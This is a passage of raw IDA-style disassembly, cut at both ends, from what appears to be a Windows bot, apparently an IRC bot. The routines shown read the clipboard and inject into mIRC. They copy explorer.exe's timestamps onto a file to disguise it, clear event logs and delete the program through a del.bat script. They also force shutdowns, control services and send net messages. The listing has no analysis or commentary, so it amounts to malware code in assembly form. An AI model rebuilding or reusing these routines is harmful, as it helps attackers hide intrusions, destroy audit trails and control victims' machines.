CODE XREF: sub_418087+62j dec edi dec esi jmp short loc_4180C5 ; --------------------------------------------------------------------------- loc_41813F: ; CODE XREF: sub_418087+8Aj xor eax, eax jmp short loc_418148 ; --------------------------------------------------------------------------- loc_418143: ; CODE XREF: sub_418087+40j mov eax, [ebp+Str] add eax, edi loc_418148: ; CODE XREF: sub_418087+BAj pop edi pop esi pop ebx leave retn sub_418087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814D proc near ; CODE XREF: sub_401ACD+67A4p ; sub_401ACD+789Fp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_42708C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call ds:dword_427158 ; FormatMessageA lea eax, [ebp+var_100] loc_418186: ; CODE XREF: sub_41814D+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418192 cmp cl, 9 jnz short loc_418195 loc_418192: ; CODE XREF: sub_41814D+3Ej inc eax jmp short loc_418186 ; --------------------------------------------------------------------------- loc_418195: ; CODE XREF: sub_41814D+43j ; sub_41814D+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AF mov cl, [eax] cmp cl, 2Eh jz short loc_418195 cmp cl, 21h jl short loc_418195 loc_4181AF: ; CODE XREF: sub_41814D+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset byte_4DAE0C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop esi leave retn sub_41814D endp ; =============== S U B R O U T I N E ======================================= sub_4181D7 proc near ; CODE XREF: sub_401ACD+24CBp push esi push 0 call dword_4CB624 ; OpenClipboard test eax, eax jz short loc_41820E push 1 call dword_4CB644 ; GetClipboardData mov esi, eax test esi, esi jz short loc_41820E push edi push esi call ds:dword_427160 ; GlobalLock push esi mov edi, eax call ds:dword_42715C ; GlobalUnlock call dword_4CB6A8 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820E: ; CODE XREF: sub_4181D7+Bj ; sub_4181D7+19j xor eax, eax pop esi retn sub_4181D7 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_418212(char *Format) sub_418212 proc near ; CODE XREF: sub_401ACD+7662p Format = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB660 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_41828E push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_42716C ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call ds:dword_427168 ; MapViewOfFile push [esp+10h+Format] ; Format mov ebx, eax push ebx ; Dest call _sprintf pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB6B0 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4CB6B0 ; SendMessageA push ebx call ds:dword_427164 ; UnmapViewOfFile push edi call ds:dword_427068 ; CloseHandle push 1 pop eax pop ebx jmp short loc_418290 ; --------------------------------------------------------------------------- loc_41828E: ; CODE XREF: sub_418212+16j xor eax, eax loc_418290: ; CODE XREF: sub_418212+7Aj pop edi pop esi pop ebp retn sub_418212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418294 proc near ; CODE XREF: WinMain(x,x,x,x)+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB710 ; SearchPathA test eax, eax jz short loc_418333 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418333 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_427174 ; GetFileTime push ebx mov ebx, ds:dword_427068 call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418333 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_427170 ; SetFileTime push esi call ebx ; CloseHandle loc_418333: ; CODE XREF: sub_418294+2Aj ; sub_418294+51j ... pop edi pop esi pop ebx leave retn sub_418294 endp ; =============== S U B R O U T I N E ======================================= sub_418338 proc near ; CODE XREF: sub_401ACD+16B2p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419652 pop ecx pop ecx push 50005h push 6 call dword_4CB594 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41835A proc near ; CODE XREF: sub_401ACD+2755p ; sub_4163FA+472p Str = byte ptr -764h var_364 = byte ptr -364h Dest = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h Dst = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837E cmp dword_4CB724, esi jnz short loc_41837E push esi ; Str call sub_401000 pop ecx loc_41837E: ; CODE XREF: sub_41835A+13j ; sub_41835A+1Bj call sub_40B2C0 lea eax, [ebp+Str] push eax push 400h call ds:dword_4270B0 ; GetTempPathA lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset aSdel_bat ; "%sdel.bat" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dest] push esi push esi push 2 push esi push esi push 40000000h push eax call ds:dword_4270EC ; CreateFileA mov edi, eax cmp edi, esi jbe loc_4184DE lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push edi call ds:dword_4270E0 ; WriteFile push edi call ds:dword_427068 ; CloseHandle push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_58] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43D808 mov [ebp+var_2C], 1 mov [ebp+var_28], si call ds:dword_42709C ; GetModuleHandleA push eax call ds:dword_427070 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call ds:dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_418486 lea eax, [ebp+var_15C] push 80h push eax call ds:dword_427094 ; SetFileAttributesA loc_418486: ; CODE XREF: sub_41835A+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+Str] push eax call ds:dword_427178 ; ExpandEnvironmentStringsA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call ds:dword_42706C ; CreateProcessA loc_4184DE: ; CODE XREF: sub_41835A+72j pop edi pop esi leave retn sub_41835A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4184E2(int,char *Str,int,int,int) sub_4184E2 proc near ; CODE XREF: sub_401ACD+7233p Dest = byte ptr -294h Dst = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] mov [ebp+Dst], 94h push eax call ds:dword_4270C8 ; GetVersionExA cmp [ebp+var_84], 2 jnz short loc_418578 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB5D4 ; OpenEventLogA push edi push eax call dword_4CB5E4 ; ClearEventLogA test eax, eax jz short loc_41856A push [ebp+arg_10] push offset asc_439074 ; "-" loc_418543: ; CODE XREF: sub_4184E2+94j lea eax, [ebp+Dest] push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h jmp short loc_4185A2 ; --------------------------------------------------------------------------- loc_41856A: ; CODE XREF: sub_4184E2+57j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43904C jmp short loc_418543 ; --------------------------------------------------------------------------- loc_418578: ; CODE XREF: sub_4184E2+3Fj lea eax, [ebp+Dest] push offset asc_43901C ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 1Ch loc_4185A2: ; CODE XREF: sub_4184E2+86j pop edi leave retn sub_4184E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4185A5(char *Source,int,int) sub_4185A5 proc near ; CODE XREF: sub_401ACD+55FFp Dest = word ptr -1C0h var_15C = byte ptr -15Ch Str = word ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4270C8 ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_4185FB cmp [ebp+var_8C], 0 jnz short loc_4185E4 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FB leave retn ; --------------------------------------------------------------------------- loc_4185E4: ; CODE XREF: sub_4185A5+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F6 cmp [ebp+var_8C], 5Ah jnz short loc_4185FB loc_4185F6: ; CODE XREF: sub_4185A5+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FB: ; CODE XREF: sub_4185A5+27j ; sub_4185A5+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call ds:dword_4270B8 ; LoadLibraryA mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call ds:dword_4270BC ; GetProcAddress push 32h ; MaxCount mov edi, eax push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+var_15C] push [ebp+arg_4] ; Source push eax ; Dest call _mbstowcs push 32h ; MaxCount lea eax, [ebp+Str] push [ebp+arg_8] ; Source push eax ; Dest call _mbstowcs lea eax, [ebp+Str] push eax ; Str call _wcslen shl eax, 1 push eax lea eax, [ebp+Str] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+Dest] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call ds:dword_427138 ; FreeLibrary mov eax, edi pop edi pop esi leave retn sub_4185A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418685 proc near ; CODE XREF: sub_40111D+F7p ; sub_40E6D9+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_4276F8 call __ftol sub esi, eax mov eax, esi pop esi leave retn sub_418685 endp ; =============== S U B R O U T I N E ======================================= sub_4186C2 proc near ; CODE XREF: sub_401ACD:loc_406127p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41871A lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439098[esi] push edi push eax call sub_41873C add esp, 14h test eax, eax jnz short loc_41870A push edi push off_439094[esi] push offset asc_4391A8 ; "-" loc_4186FA: ; CODE XREF: sub_4186C2+56j mov esi, offset byte_4DB6D0 push esi ; Dest call _sprintf add esp, 10h jmp short loc_418737 ; --------------------------------------------------------------------------- loc_41870A: ; CODE XREF: sub_4186C2+2Aj push eax call sub_4187DE pop ecx push eax push edi push offset unk_43917C jmp short loc_4186FA ; --------------------------------------------------------------------------- loc_41871A: ; CODE XREF: sub_4186C2+Cj lea eax, [eax+eax*2] mov esi, offset byte_4DB6D0 push off_439090[eax*4] push offset asc_439158 ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_418737: ; CODE XREF: sub_4186C2+46j mov eax, esi pop edi pop esi retn sub_4186C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873C proc near ; CODE XREF: sub_4186C2+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB648 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_418763 call ds:dword_42708C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4187D8 ; --------------------------------------------------------------------------- loc_418763: ; CODE XREF: sub_41873C+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB530 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_418783 call ds:dword_42708C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4187D0 ; --------------------------------------------------------------------------- loc_418783: ; CODE XREF: sub_41873C+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B6 cmp eax, 3 jz short loc_4187A7 jle short loc_4187C9 cmp eax, 6 jg short loc_4187C9 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB59C ; ControlService jmp short loc_4187BD ; --------------------------------------------------------------------------- loc_4187A7: ; CODE XREF: sub_41873C+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB538 ; StartServiceA jmp short loc_4187BD ; --------------------------------------------------------------------------- loc_4187B6: ; CODE XREF: sub_41873C+4Dj push esi call dword_4CB5A0 ; DeleteService loc_4187BD: ; CODE XREF: sub_41873C+69j ; sub_41873C+78j test eax, eax jnz short loc_4187C9 call ds:dword_42708C ; RtlGetLastWin32Error mov ebx, eax loc_4187C9: ; CODE XREF: sub_41873C+54j ; sub_41873C+59j ... push esi call dword_4CB54C ; CloseServiceHandle loc_4187D0: ; CODE XREF: sub_41873C+45j push edi call dword_4CB54C ; CloseServiceHandle pop esi loc_4187D8: ; CODE XREF: sub_41873C+25j mov eax, ebx pop edi pop ebx leave retn sub_41873C endp ; =============== S U B R O U T I N E ======================================= sub_4187DE proc near ; CODE XREF: sub_4186C2+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418893 jz loc_41888C add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418856 jz short loc_41884C mov ecx, eax sub ecx, 3 jz short loc_418842 dec ecx dec ecx jz short loc_418838 dec ecx jz short loc_41882E sub ecx, 51h jz short loc_418824 sub ecx, 24h jnz loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418824: ; CODE XREF: sub_4187DE+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_41882E: ; CODE XREF: sub_4187DE+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418838: ; CODE XREF: sub_4187DE+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418842: ; CODE XREF: sub_4187DE+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_41884C: ; CODE XREF: sub_4187DE+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418856: ; CODE XREF: sub_4187DE+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418885 dec ecx jz short loc_41887E dec ecx jz short loc_418877 dec ecx jnz loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418877: ; CODE XREF: sub_4187DE+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_41887E: ; CODE XREF: sub_4187DE+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_418885: ; CODE XREF: sub_4187DE+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_41888C: ; CODE XREF: sub_4187DE+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_418893: ; CODE XREF: sub_4187DE+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F6 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_41894A[ecx] jmp ds:off_418922[ecx*4] ; switch jump loc_4188B7: ; DATA XREF: .text:off_418922o push offset aTheSpecifiedDa ; jumptable 004188B0 case 7 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188BE: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheServiceDepe ; jumptable 004188B0 case 17 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188C5: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheServiceDe_0 ; jumptable 004188B0 case 10 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188CC: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheServiceHasB ; jumptable 004188B0 case 0 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188D3: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheSpecified_0 ; jumptable 004188B0 case 2 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188DA: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheServiceCoul ; jumptable 004188B0 case 11 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188E1: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheServiceHa_0 ; jumptable 004188B0 case 14 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188E8: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheRequested_1 ; jumptable 004188B0 case 3 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188EF: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: .text:off_418922o push offset aTheServiceHasN ; jumptable 004188B0 case 4 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188F6: ; CODE XREF: sub_4187DE+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FB: ; CODE XREF: sub_4187DE+41j ; sub_4187DE+4Bj ... push offset byte_4DB010 ; Dest call _sprintf pop ecx pop ecx jmp short loc_41891C ; --------------------------------------------------------------------------- loc_418909: ; CODE XREF: sub_4187DE+36j ; sub_4187DE+89j ... push eax ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset byte_4DB010 ; Dest call _sprintf add esp, 0Ch loc_41891C: ; CODE XREF: sub_4187DE+129j mov eax, offset byte_4DB010 retn sub_4187DE endp ; --------------------------------------------------------------------------- off_418922 dd offset loc_4188CC ; DATA XREF: sub_4187DE+D2r dd offset loc_4188D3 ; jump table for switch statement dd offset loc_4188E8 dd offset loc_4188EF dd offset loc_4188B7 dd offset loc_4188C5 dd offset loc_4188DA dd offset loc_4188E1 dd offset loc_4188BE dd offset loc_418909 byte_41894A db 0, 9, 1, 2 ; DATA XREF: sub_4187DE+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41895C(int,char *Str,int) sub_41895C proc near ; CODE XREF: sub_401ACD+45D4p var_38C = dword ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB648 ; OpenSCManagerA push ebx ; int mov [ebp+var_C], eax push [ebp+arg_8] ; int push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_418994: ; CODE XREF: sub_41895C+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB614 ; EnumServicesStatusA test eax, eax jnz short loc_4189CE call ds:dword_42708C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_418A82 loc_4189CE: ; CODE XREF: sub_41895C+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A79 lea esi, [ebp+var_188] loc_4189DF: ; CODE XREF: sub_41895C+117j mov eax, [esi+8] dec eax jz short loc_418A28 dec eax jz short loc_418A21 dec eax jz short loc_418A1A dec eax jz short loc_418A13 dec eax jz short loc_418A0C dec eax jz short loc_418A05 dec eax jz short loc_4189FE push offset aUnknown_0 ; " Unknown" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_41895C+99j push offset aPaused ; " Paused" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A05: ; CODE XREF: sub_41895C+96j push offset aPausing ; " Pausing" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A0C: ; CODE XREF: sub_41895C+93j push offset aContinuing ; " Continuing" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A13: ; CODE XREF: sub_41895C+90j push offset aRunning ; " Running" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A1A: ; CODE XREF: sub_41895C+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A21: ; CODE XREF: sub_41895C+8Aj push offset aStarting ; " Starting" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A28: ; CODE XREF: sub_41895C+87j push offset aStopped ; " Stopped" loc_418A2D: ; CODE XREF: sub_41895C+A0j ; sub_41895C+A7j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dest] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_2 ; "%s: %s (%s)" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+var_38C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DF loc_418A79: ; CODE XREF: sub_41895C+77j cmp [ebp+var_8], ebx jnz loc_418994 loc_418A82: ; CODE XREF: sub_41895C+6Cj push [ebp+var_C] call dword_4CB54C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418A99(int,char *Str,int) sub_418A99 proc near ; CODE XREF: sub_401ACD:loc_406167p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+Str] test edi, edi jz loc_418B33 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC2 dec eax jnz short loc_418B13 push edi push 0 call sub_418C6C pop ecx pop ecx jmp short loc_418B0F ; --------------------------------------------------------------------------- loc_418AC2: ; CODE XREF: sub_418A99+18j cmp [ebp+arg_8], 0 jnz short loc_418B01 push 24h ; Val push edi ; Str call _strchr pop ecx test eax, eax pop ecx jnz short loc_418B01 push 57h pop eax loc_418AD9: ; CODE XREF: sub_418A99+78j push eax call sub_419460 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset byte_4DB2CC push off_439090[eax*4] push offset asc_43973C ; "-" push esi ; Dest call _sprintf add esp, 14h jmp short loc_418B53 ; --------------------------------------------------------------------------- loc_418B01: ; CODE XREF: sub_418A99+2Dj ; sub_418A99+3Bj push [ebp+arg_8] ; int push edi ; Str push 0 ; int call sub_418BC0 add esp, 0Ch loc_418B0F: ; CODE XREF: sub_418A99+27j test eax, eax jnz short loc_418AD9 loc_418B13: ; CODE XREF: sub_418A99+1Bj lea eax, [esi+esi*2] push edi mov esi, offset byte_4DB2CC push off_439094[eax*4] push offset asc_439720 ; "-" push esi ; Dest call _sprintf add esp, 10h jmp short loc_418B53 ; --------------------------------------------------------------------------- loc_418B33: ; CODE XREF: sub_418A99+Aj mov eax, [ebp+arg_0] mov esi, offset byte_4DB2CC lea eax, [eax+eax*2] push off_439090[eax*4] push offset asc_4396FC ; "-" push esi ; Dest call _sprintf add esp, 0Ch loc_418B53: ; CODE XREF: sub_418A99+66j ; sub_418A99+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A99 endp ; =============== S U B R O U T I N E ======================================= sub_418B59 proc near ; CODE XREF: sub_419E7A+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B66 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B66: ; CODE XREF: sub_418B59+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DB4CC, 1 mov ebp, eax jnz short loc_418BA3 or byte_4DB4CC, 1 lea eax, [ebp+1] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov dword_4DB26C, eax loc_418BA3: ; CODE XREF: sub_418B59+32j push esi push esi push ebp push dword_4DB26C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DB26C pop edi pop ebp pop ebx pop esi retn sub_418B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_418BC0(int,char *Str,int) sub_418BC0 proc near ; CODE XREF: sub_418A99+6Ep ; sub_41A19E+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2B push [ebp+Str] mov edi, eax call sub_418C2B push 24h ; Val mov [ebp+var_20], eax push [ebp+Str] ; Str call _strchr push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2B add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB548 pop edi leave retn sub_418BC0 endp ; =============== S U B R O U T I N E ======================================= sub_418C2B proc near ; CODE XREF: sub_418BC0+Ap ; sub_418BC0+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C38 pop ebp retn ; --------------------------------------------------------------------------- loc_418C38: ; CODE XREF: sub_418C2B+9j push ebx push esi mov esi, ds:dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov ebx, eax push edi push ebx push 